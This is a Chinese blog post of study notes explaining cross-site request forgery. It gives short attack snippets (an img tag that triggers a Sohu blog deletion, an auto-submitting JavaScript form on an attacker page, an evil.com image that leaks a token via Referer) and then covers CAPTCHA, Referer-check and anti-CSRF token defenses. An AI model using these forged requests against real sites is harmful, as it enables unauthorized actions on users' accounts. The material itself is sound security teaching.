【红宝书笔记】跨站点请求伪造CSRF

关注

原创最新推荐文章于 2026-08-30 13:11:00 发布 371 阅读 AI 写同款· GEO 优化 ›

Web安全基石：XSS与CSRF攻击原理与纵深防御策略全解析在Web应用开发中，跨站脚本攻击（XSS）和跨站请求伪造（CSRF）是两类最常见且危害巨大的安全威胁。XSS的本质是攻击者将恶意脚本注入到网页中，利用浏览器对内容的信任执行非法操作，其核心在于网站未能对用户输入进行充分过滤与转义。CSRF则利用浏览器自动携带用户凭证的机制，诱骗已登录用户发起非本意的请求，其漏洞根源在于服务器仅验证身份而未验证请求意图。从技术价值看，理解并防御这两类攻击是构建可信Web应用的基石，能有效防止数据泄露、资金损失等安全事件。在应用场景上，无论是电商、社交还是金融平台，都需要系统性阅读详情

CSRF全名Cross SIte Request Forgery，跨站点请求伪造。

1.简介（通过例子）

比如要删除一篇搜狐博客，登录Sohu博客后，只需要请求以下URL，就能把编号为“156714243”的博客删除

http：//blog.sohu.com/manage/entry.do?m=delete&id=156714243

如果这个URL存在CSRF漏洞，我们就可以通过以下方法删除

攻击者在自己的域中构造一个页面：

http://www.a.com/csrf.html

内容为

<img src="http：//blog.sohu.com/manage/entry.do?m=delete&id=156714243" />

诱使目标用户（博客主）访问这个网页
打开网页只看到一张看不见的图片，同时博客已经被删除了

原因是因为在访问该网页时，图片标签<img>向搜狐服务器发送了一次GET请求，导致文章被删除。

2.CSRF进阶

2.3 GET?POST?

在CSRF流行之初，有这样一个错误观点：

∵ 大多数CSRF攻击发起时，使用的HTML标签是<img>、<iframe>、<script>等带 “src” 属性的标签，这类标签只能发起一次 GET 请求，而不能发起 POST 请求。
∴ CSRF攻击只能有GET请求发起，只要把重要的操作改成只允许POST请求，就能防止CSRF攻击。

然而很多网站一些重要操作并未严格区分 GET 与 POST，攻击者可以使用 GET 来请求表单的提交地址。比如在PHP中，如果使用的是$_REQUEST, 而非$_POST获取变量，则会存在这个问题。

对于一个表单来说，用户往往也可以使用GET方式提交参数，比如对于这个表单：

<form action="/register" id="register" method="post" >
	<input type=text name="username" value="" />
	<input type=password name="password" value="" />
	<input type=submit name="submit" value="submit" />
</form>

用户可以构造一个GET请求来提交表单，如果服务端未对请求方法做限定，请求会通过：

http://host/register?username=test&password=passwd

如果服务器已经区分了GET 与 POST，对于攻击者来说，有若干个方法可以构造出一个POST请求。

最简单的方法，就是在一个页面中构造一个form表单，然后使用JavaScript自动提交这个表单。比如，攻击者在www.b.com/test.html中编写如下代码：

<form action="http://www.a.com/register" id="register" method="post" >
	<input type=text name="username" value="" />
	<input type=password name="password" value="" />
	<input type=submit name="submit" value="submit" />
</form>
<script>
	var f = document.getElementById("register");
	f.inputs[0].value = "test";
	f.inputs[1].value = "passwd";
	f.submit();
</script>

案例：2007年的Gmail CSRF漏洞攻击 from pdp。

2.4 Flash CSRF

除了URLRequest以外，Flash还可以使用getURL，loadVars等方式发起请求。
但是从IE8起，Flash发起的网络请求已经不再发送本地Cookie了。

2.5 CSRF Worm

案例：2008年，80sec公布的百度CSRF Worm。

3 CSRF防御

3.1 验证码

最简洁而有效的防御方法
CSRF往往是在用户不知情的情况下构造网络请求，而验证码强制用户必须通过交互才能进行最终请求。
但是出于用户体验考虑，不可能所有操作都用上验证码。

3.2 Referer Check

如：“论坛发帖”的操作，在正常情况下需要先登录到用户后台，或者访问有发帖功能的页面。在提交“发帖”的表单时，Referer的值必然是发帖表单所在的页面。如果Referer的值不是这个页面，甚至不是发帖网站的域，则极有可能是CSRF攻击。

缺陷：服务器并非什么时候都能取到Referer。很多用户出于隐私保护的考虑，限制了Referer的发送。在某些情况下，浏览器也不会发送Referer，比如从HTTPS跳转到HTTP，出于安全的考虑，浏览器也不会发送Referer。

虽然不能依赖于Referer Check 作为防御CSRF的主要手段，但通过Referer Check来监控CSRF攻击的发生，倒是一种可行的方法。

3.3 Anti CSRF Token

3.3.1 CSRF本质

CSRF为什么能够攻击成功？其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。
攻击者只能预测出URL的所有参数与参数值，才能成功构造一个伪造的请求；反之，攻击者将无法攻击成功。

所以，可以想到一个解决方案：把参数加密，或者使用一些随机数，从而让攻击者无法猜测到参数值。这是”不可预测性原则“的一种应用。
比如，一个删除操作的URL是：

http://host/path/delete?username=abc&item=123

把其中的username参数改成哈希值：

http://host/path/delete?username=md5(salt+abc)&item=123

这样一来，攻击者在不知道salt的情况下，无法构造URL。而对于服务器来说可以从Session或者Cookie中取得username=abc，再结合salt对整个请求进行验证，正常请求会被认为是合法的。

这一解决方案的问题：

加密后的URL会变得非常难读，影响用户体验
加密的参数每次都变，用户无法收藏URL
普通的参数如果也被加密或者哈希，将会给数据分析工作带来很大的困扰

所以我们需要使用更加通用的方法来解决，这就是Anti CSRF Token。

回到上面的URL，我们保持参数不变，新增一个参数Token，这个Token的值是随机的，不可预测：

http://host/path/delete?username=abc&item=123&token=[random(seed)]

Token必须足够随机，必须使用足够安全的随机数生成算法，或者采用真随机数生成器（物理随机）。
Token为用户和服务器共同持有，不能被第三者知晓。在实际应用时，Token可以放在用户的Session中，或者浏览器的Cookie中。

由于Token的存在，攻击者无法构造出完整的URL来发起CSRF攻击

用户提交请求时，服务器只需要验证：表单中的Token ？= 用户Session（or Cookie）中的Token。如果不一致，或者一个为空，则可能存在CSRF攻击。

3.3.2 Token的使用原则

Anti CSRF Token使用时有若干注意事项：

Token足够随机
此Token的目的不是为了防止重复提交。所以为了使用方便，可以允许在一个用户的有效生命周期内，在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单，则这个Token已经消耗掉，应该再次重新生成一个新的Token。
如果Token保存在Cookie中，而不是服务器端的Session中，则会带来一个新的问题。如果一个用户打开几个相同的页面同时操作，当某个页面消耗掉Token后，其他页面的表单内保存的还是被消耗掉的那个Token，因此其他页面的表单再次提交时，会出现Token错误。在这种情况下，可以考虑生成多个有效的Token，以解决多页面共存的场景。

最后，使用Token时应该注意Token的保密性。Token如果出现在某个页面的URL中，则可能会通过Referer的方式泄露。比如以下页面：

http://host/path/manage?username=abc&token=[random]

这个manage页面是一个用户面板，用户需要在这个页面提交表单或者单击”删除“按钮，才能完成删除操作。
在这种场景下，如果这个页面包含了一张攻击者能指定地址的图片：
<img src="http://evil.com/notexist" />
则"http://host/path/manage?username=abc&token=[random]"会作为HTTP请求的Referer 发送到eveil.com的服务器上，从而导致Token泄露。
因此在使用Token时，应该尽量把Token放在表单中。把敏感操作由GET改为POST，以form表单（或者AJAX）的形式提交，可以避免Token泄露。

此外，还有一些其他的途径可能导致Token泄露。比如XSS漏洞或者一些跨域漏洞，都可能让攻击者窃取到Token的值。
CSRF的Token仅仅用于对抗CSRF攻击，当网站还同时存在XSS漏洞时，这个方案就会变得无效，因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击下，攻击者完全可以请求页面后，读出页面内容里的Token值，然后再构造出一个合法的请求。这个过程可以称之为XSRF，和CSRF以示区分。

XSS带来的问题，应该使用XSS的防御方案予以解决，否则CSRF的Token防御就是空中楼阁。安全防御的体系是相辅相成、缺一不可的。